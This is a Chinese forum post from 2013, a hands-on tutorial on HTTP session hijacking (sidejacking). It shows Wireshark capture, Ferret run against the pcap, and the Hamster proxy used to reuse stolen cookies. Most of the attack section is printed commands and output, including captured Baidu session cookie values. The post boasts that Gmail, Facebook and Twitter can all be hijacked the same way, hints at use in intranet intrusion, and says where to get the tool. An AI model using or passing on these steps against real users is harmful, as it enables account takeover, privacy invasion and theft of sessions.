本文章最後由 SheepKingCN 於 2013-9-3 18:32 編輯
前言:
會話劫持(Session hijacking),是一種網絡攻擊手段,黑客可以通過破壞已建立的數據流而實現劫持.常見的有:SMB會話劫持中間人攻擊和本文要寫的HTTP Session Hijacking
Web應用程序是通過2種方式來判斷和跟踪不同用戶的:Cookie或者Session(也叫做會話型Cookie).其中Cookie是存儲在本地計算機上的,過期時間很長,所以針對Cookie的攻擊手段一般是盜取用戶Cookie然後偽造Cookie冒充該用戶;而Session由於其存在於服務端,隨著會話的註銷而失效(很快過期),往往難於利用.所以一般來說Session認證較之Cookie認證安全.
如果你關注Web安全,相信你一定看到過記錄跨站得到Cookie的腳本程序,我們也需要一個類似的程序,但功能不是記錄,而是立即轉發(因為當前會話隨時可能由於管理員退出而失效)
攻擊:
簡單的做下演示吧,我們打開百度搜索"去哪裡捐精",然後登錄,中間用Wireshark抓取數據.
Wireshark抓取的數據,百度的登錄是HTTPS的...
停止Wireshark作業,把數據庫保存下來
然後分析數據包:- C:\Documents and Settings\brk>cd \
- C:\>cd sidejacking
- C:\sidejacking>dir
- 驅動器 C 中的捲沒有標籤。
- 卷的序列號是 0031-2EC7
- C:\sidejacking 的目錄
- 2012-02-06 16:53 <DIR> .
- 2012-02-06 16:53 <DIR> ..
- 2012-02-06 16:53 146,103 baidu.pcap
- 2007-08-08 22:37 172,093 ferret.exe
- 2007-08-08 23:41 401,408 hamster-help.doc
- 2007-08-08 22:52 77,824 hamster.exe
- 2007-08-08 23:42 695 readme.txt
- 5 個文件 798,123 字節
- 2 個目錄 17,093,853,184 可用字節
- C:\sidejacking>ferret.exe -r baidu.pcap
- -- FERRET 1.1.3 - 2007 (c) Errata Security
- -- build = Aug 8 2007 22:37:48 (32-bits)
- -- WinPcap version 4.1.2 (packet.dll version 4.1.0.2001), based on libpcap versi
- on 1.0 branch 1_0_rel0b (20091008)
- proto="HTTP", op="POST", Host="ocsp.verisign.com", URL="/"
- ID-IP=[192.1.1.5], User-Agent="Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/2010
- 0101 Firefox/6.0.2"
- proto="HTTP", op="GET", Host="www.baidu.com", URL="/cache/user/j.html?callback=b
- dLoginReply&error=0&un=dis9teama2&needToModifyPassword=0&index="
- ---------- 省略 ----------------
- TEST="icmp", type=130, code=0
- ID-MAC=[6a:47:c5:af:3b:a9], ipv6=[FE8:6847:C5FF:FEAF:3BA9]
- TEST="icmp", type=131, code=0
- ID-IP=[192.1.1.1], Multicast-groups=[224.0.0.251], groupname="mDNS"
- ID-IP=[192.1.1.1], macaddr=[6a:47:c5:af:3b:a9]
- ID-MAC=[6a:47:c5:af:3b:a9], ip=[192.1.1.1]
- ID-IP=[192.1.1.5], macaddr=[08:08:27:00:00:04]
- ID-MAC=[08:08:27:00:00:04], ip=[192.1.1.5]
- proto="DNS", query="A", ip.src=[192.1.1.5], name="safebrowsing.clients.google.co
- m"
- ID-DNS="safebrowsing.clients.google.com", address=[203.208.45.200]
- proto="HTTP", op="POST", Host="safebrowsing.clients.google.com", URL="/safebrows
- ing/downloads?client=navclient-auto-ffox&appver=6.0.2&pver=2.2&wrkey=AKEgNis1mHM
- HmaKiWTHg9385w-2XbYzMu2ppI64um3IE3INLRvIVXaeafa9xwDwGKhOpWlGfeOAmW-2_98OxvzPCaAA
- bHymnTA=="
- proto="HTTP", op="POST", Host="safebrowsing.clients.google.com", URL="/safebrows
- ing/downloads?client=navclient-auto-ffox&appver=6.0.2&pver=2.2&wrkey=AKEgNis1mHM
- HmaKiWTHg9385w-2XbYzMu2ppI64um3IE3INLRvIVXaeafa9xwDwGKhOpWlGfeOAmW-2_98OxvzPCaAA
- bHymnTA==", cookie="PREF=ID=0889b5d602ad153d:TM=1327858580:LM=1327858580:S=7ENYg
- UTv-2SxxSfI"
- ERROR: 12 TCP sessions remaining
- -- graceful exit --C:\sidejacking>
複製代碼 查看一下:- C:\sidejacking>type hamster.txt
- Instance: 192.1.1.5
- Domain: www.baidu.com
- Path: /img/bg-1.0.0.gif
- Name: BDRCVFR[feWj1Vr5u3D]
- Value: mk3SLVN4HKmInstance: 192.1.1.5
- Domain: www.baidu.com
- Path: /img/bg-1.0.0.gif
- Name: BDUSS
- Value: lZtM35OMFV3Vmlac3RadDVPRkMtN3VUblNOTEFyLVVUNkJwRzg2U3RMY35JVmRQQVFBQUFBJC
- QAAAAAAAAAAAokNx~1KBEiZGlzOXRlYW1hMgAAAAAAAAAAAAAAAAAAAAAAAAAAAADgaqV3AAAAAOBqpX
- cAAAAAuWZCAAAAAAAxMC42NS4yND-UL08~lC9PN
- Instance: 192.1.1.5
- Domain: sclick.baidu.com
- URL: /w.gif?q=%C8%A5%C4%C4%C0%EF%BE%E8%BE%AB&fm=se&T=1328518207&y=B697BB7B&rsv_s
- id=&cid=0&qid=f89d105a3a8bc344&t=1328518206191&path=http://www.baidu.com/s?tn=ba
- iduhome_pg&bs=%C8%A5%C4%C4%C0%EF%BE%E8%BE%AB&f=8&rsv_bp=1&rsv_spt=1&wd=%C8%A5%C4
- %C4%C0%EF%BE%E8%BE%AB&inputT=0
- Instance: 192.1.1.5
- Domain: sclick.baidu.com
- Path: /w.gif
- Name: BAIDUID
- Value: ECB37687505C6070870B5FB57225FC9F:FG=1
- Instance: 192.1.1.5
- Domain: sclick.baidu.com
- Path: /w.gif
- Name: USERID
- Value: 9138e533b29069686f6a40eea5a0
- Instance: 192.1.1.5
- Domain: sclick.baidu.com
- Path: /w.gif
- Name: BDUSS
- Value: lZtM35OMFV3Vmlac3RadDVPRkMtN3VUblNOTEFyLVVUNkJwRzg2U3RMY35JVmRQQVFBQUFBJC
- QAAAAAAAAAAAokNx~1KBEiZGlzOXRlYW1hMgAAAAAAAAAAAAAAAAAAAAAAAAAAAADgaqV3AAAAAOBqpX
- cAAAAAuWZCAAAAAAAxMC42NS4yND-UL08~lC9PN
- Instance: 192.1.1.5
- Domain: share.baidu.com
- URL: /getsharenum?urls=17635117033309872305,10208434038914845615,773404566211563
- 5970,14112981830656847623,10579579571799392765,1504773221644295271,6909886647770
- 200532,8103579361075969711,5354724657123971587,9342892217666920821&callback=bds.
- se.like.giveData
- Instance: 192.1.1.5
- Domain: share.baidu.com
- Path: /getsharenum
- Name: BAIDUID
- Value: ECB37687505C6070870B5FB57225FC9F:FG=1Instance: 192.1.1.5
- Domain: share.baidu.com
- Path: /getsharenum
- Name: USERID
- Value: 9138e533b29069686f6a40eea5a0
複製代碼 :-) 效果不錯 啟動 hamster.exe 開始劫持
現在打開瀏覽器設置代理詳細閱讀hamster.exe說明
然後輸入 http://hamster/ 查看劫持數據~~
打開其中的鏈接:發現我已經劫持啦~~
結果測試Gmail、FaceBook、Twitter(推特)等等通殺......
擴展攻擊:
在你內網滲透的時候...你懂的!
想要入侵工具,請在Google搜尋: hamster.exe
可參考:
http://en.wikipedia.org/wiki/Session_hijacking
https://www.owasp.org/index.php/Session_hijacking_attack
|